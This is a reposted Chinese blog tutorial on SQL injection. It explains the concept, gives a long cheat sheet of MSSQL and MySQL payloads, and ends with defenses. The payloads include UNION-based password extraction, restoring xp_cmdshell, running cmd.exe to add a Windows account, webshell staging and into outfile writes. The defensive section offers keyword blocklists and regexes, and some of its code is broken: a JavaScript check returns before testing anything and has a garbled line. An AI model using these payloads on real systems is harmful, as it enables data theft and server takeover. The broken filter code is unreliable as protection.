SQL注入——SQL Injection

本文部分内容转自:https://www.cnblogs.com/rush/archive/2011/12/31/2309203.html

                                      http://www.diybl.com/course/7_databases/sql/msshl/2007616/59684_2.html

 

目录:

一、什么是sql注入?

二、SQL注入常用方式

三、如何防御sql注入攻击

 

 

一、什么是sql注入?

案例:

  日前,国内最大的程序员社区CSDN网站的用户数据库被黑客公开发布,600万用户的登录名及密码被公开泄露,随后又有多家网站的用户密码被流传于网络,连日来引发众多网民对自己账号、密码等互联网信息被盗取的普遍担忧。

 

     网络安全成为了现在互联网的焦点,这也恰恰触动了每一位网络用户的神经,由于设计的漏洞导致了不可收拾的恶果,验证了一句话“出来混的,迟早是要还的”,所以我们来通过本文的SQL注入的讲解,介绍一些常用的攻击技术和防范策略。

 

 

1、什么是sql注入呢?

        所谓SQL注入,就是通过把SQL命令插入到Web表单输入域名或页面请求的查询字符串中,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

 

      首先让我们了解什么时候可能发生SQL Injection。

 

      假设我们在浏览器中输入URL www.sample.com,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection,当我们输入www.sample.com?testid=23时,我们在URL中传递变量testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),所以我们可以在URL中嵌入恶意SQL语句。

  比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。 黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。

  做为网络开发者对这种黑客行为恨之入骨的同时,当然很有必要了解一下SQL注入这种攻击方式的原理,并学会如何通过代码来保护自己的网站数据库。

 

2、sql注入产生原因

     sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。对于java数据库连接JDBC而言,SQL注入攻击只对Statement有效,对PreparedStatement是无效的,这是因为PreparedStatement不允许在不同的插入时间改变查询的逻辑结构。

  比如验证用户是否存在的SQL语句为:用户名'and pswd='密码,如果在用户名字段中输入: 'or 1=1或是在密码字段中输入:'or 1=1,将绕过验证,但这种手段只对Statement有效,对PreparedStatement无效。

相对Statement而言,PreparedStatement有以下优点:

    1.防注入攻击;
    2.多次运行速度快;
    3.防止数据库缓冲区溢出;
    4.代码的可读性可维护性好;
 这四点使得PreparedStatement成为访问数据库的语句对象的首选,缺点是灵活性不够好,有些场合还是必须使用Statement。 

 

3、sql注入原理

      下面我们来说一下sql注入原理,以使读者对sql注入攻击有一个感性的认识,至于其他攻击,原理是一致的。

     SQL注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。

     SQL注入式攻击的主要形式有两种。一是直接攻击方法,将代码插入到   与SQL命令串联在一起并使得其以执行的    用户输入变量。上面笔者举的例子就是采用了这种方法。由于其直接与SQL语句捆绑,故也被称为直接注入式攻击法。二是间接的攻击方法,将恶意代码注入要在表中存储或者作为原数据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“—”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不背编译与执行。

 

4、SQL注入攻击的简单示例:

         这里我们举一个比较常见的例子来简要说明一下sql注入的原理。假如我们有一个users表,里面有两个字段username和password。在我们的java代码中我们初学者都习惯用sql拼接的方式进行用户验证。比如:"select id from users where username = '"+username +"' and password = '"  + password +"'" 这里的username和password都是我们存取从web表单获得的数据。下面我们来看一下一种简单的注入,如果我们在表单中username的输入框中输入' or 1=1-- ,password的表单中随便输入一些东西,假如这里输入123.此时我们所要执行的sql语句就变成了select id from users where username = '' or 1=1--  and password = '123',我们来看一下这个sql,因为1=1是true,后面 and password = '123'被注释掉了。所以这里完全跳过了sql验证。

 

 

二、SQL注入常用方式

SQL注入攻击的总体思路

1.寻找到SQL注入的位置;

2.判断服务器类型和后台数据库类型;

3.针对不通的服务器和数据库特点进行SQL注入攻击。

 

常用注入语句:

1.判断有无注入点
  ; and 1=1 and 1=2

2.猜表一般的表的名称,无非是admin adminuser user pass password 等..
  and 0<>(select count(*) from *)
  and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面, 1<返回错误页面说明帐号数目就是1个
  and 0<(select count(*) from admin)
  and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
  and 1=(select count(*) from admin where len(*)>0)--
  and 1=(select count(*) from admin where len(用户字段名称name)>0)
  and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
  and 1=(select count(*) from admin where len(*)>0)
  and 1=(select count(*) from admin where len(name)>6) 错误
  and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
  and 1=(select count(*) from admin where len(name)=6) 正确

  and 1=(select count(*) from admin where len(password)>11) 正确
  and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
  and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
  and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
  and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
  就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
  and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
  这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

  group by users.id having 1=1--
  group by users.id, users.username, users.password, users.privs having 1=1--
  ; insert into users values( 666, attacker, foobar, 0xffff )--

  UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS

  WHERE TABLE_blank>_NAME=logintable-
  UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS

  WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank

  >_id)-
  UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS

  WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank

  >_id,login_blank>_name)-
  UNION SELECT TOP 1 login_blank>_name FROM logintable-
  UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--

看_blank>服务器打的补丁=出错了打了SP4补丁
  and 1=(select @@VERSION)--

看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
  and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--

判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
  and sa=(SELECT System_blank>_user)--
  and user_blank>_name()=dbo--
  and 0<>(select user_blank>_name()--

看xp_blank>_cmdshell是否删除
  and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_

  blank>_cmdshell)--

  xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
  ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
  ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\

  xplog70.dll--

反向PING自己实验
  ;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>

  _oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号
  ;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>

  _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$Content$nbsp;1866574 /add--

创建一个虚拟目录E盘:
  ;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o,

  run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"--

访问属性:(配合写入一个webshell)
  declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o,

  run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

………

 

 

===MYSQL基础部分===

本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

 

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3’)#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后SQL语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值为
' OR username='admin'
之后SQL语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

 

三、如何防御sql注入攻击

 如何防止SQL Injection,总的来说有以下几点:

1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。

2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。

3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

4.不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。

5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。

 

1.采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。

使用好处:

(1).代码的可读性和可维护性.

(2).PreparedStatement尽最大可能提高性能.

(3).最重要的一点是极大地提高了安全性.

1 <span style="font-size:14px;">String sql= "select * from users where username=? and password=?;
2  
3     PreparedStatement preState = conn.prepareStatement(sql);
4  
5     preState.setString(1, userName);
6   
7     preState.setString(2, password);
8  
9     ResultSet rs = preState.executeQuery(); </span>  

 

  原理:sql注入只对sql语句的准备(编译)过程有破坏作用,而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析,准备,因此也就避免了sql注入问题。

 

2.使用正则表达式过滤传入的参数

正则表达式:

  private String CHECKSQL = “^(.+)\\sand\\s(.+)|(.+)\\sor(.+)\\s$”;

判断是否匹配:

  Pattern.matches(CHECKSQL,targerStr);

下面是具体的正则表达式:

检测SQL meta-characters的正则表达式 :/(\%27)|(\’)|(\-\-)|(\%23)|(#)/ix

修正检测SQL meta-characters的正则表达式 :/((\%3D)|(=))[^\n]*((\%27)|(\’)|(\-\-)|(\%3B)|(:))/i

典型的SQL 注入攻击的正则表达式 :/\w*((\%27)|(\’))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix

检测SQL注入,UNION查询关键字的正则表达式 :/((\%27)|(\’))union/ix(\%27)|(\’)

检测MS SQL Server SQL注入攻击的正则表达式:/exec(\s|\+)+(s|x)p\w+/ix

等等…..

 其实可以简单的使用replace方法也可以实现上诉功能:

 public static String TransactSQLInjection(String str)
          {
                return str.replaceAll(".*([';]+|(--)+).*", " ");
          } 

 

3.字符串过滤

比较通用的一个方法:

(||之间的参数可以根据自己程序的需要添加)

 1 <span style="font-size:14px;">public static boolean sql_inj(String str)  
 2 {  
 3 String inj_str = "'|and|exec|insert|select|delete|update|  
 4 count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";  
 5 String inj_stra[] = split(inj_str,"|");  
 6   for (int i=0 ; i < inj_stra.length ; i++ )  
 7     {  
 8       if (str.indexOf(inj_stra[i])>=0)  
 9       {  
10        return true;  
11       }  
12     }  
13   return false;  
14 }</span>

 

4.jsp中调用该函数检查是否包函非法字符

防止SQL从URL注入:

sql_inj.java代码:

 1 <span style="font-size:14px;">package sql_inj;  
 2 import java.net.*;  
 3 import java.io.*;  
 4 import java.sql.*;  
 5 import java.text.*;  
 6 import java.lang.String;  
7 public class sql_inj{ 8   public static boolean sql_inj(String str) 9   { 10   String inj_str = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,"; //这里的东西还可以自己添加 13   String[] inj_stra=inj_str.split("\\|"); 14     for (int i=0 ; i < inj_stra.length ; i++ ) 15     { 16     if (str.indexOf(inj_stra[i])>=0) 17       { 18       return true; 19       } 20     } 21     return false; 22   } 23 } </span>

 

5.JSP页面添加客户端判断代码:

 使用javascript在客户端进行不安全字符屏蔽

功能介绍:检查是否含有”‘”,”\\”,”/”

参数说明:要检查的字符串

返回值:     0:是       1:不是

函数名是:

 1 <span style="font-size:14px;">function check(a)  
 2 {  
 3 return 1;  
 4 fibdn = new Array (”‘” ,”\\”,”/”);  
 5 i=fibdn.length;  
 6 j=a.length;  
 7 for (ii=0; ii<i; ii++)  
 8   { for (jj=0; jj<j; jj++)  
 9     { temp1=a.charAt(jj);  
10       temp2=fibdn[ii];  
11       if (tem’; p1==temp2)  
12       { return 0; }  
13     }  
14   }  
15   return 1;  
16 } </span>

 

6、注入防范

服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()

参考文章:http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

 

转载于:https://www.cnblogs.com/zzp-biog/p/9713321.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值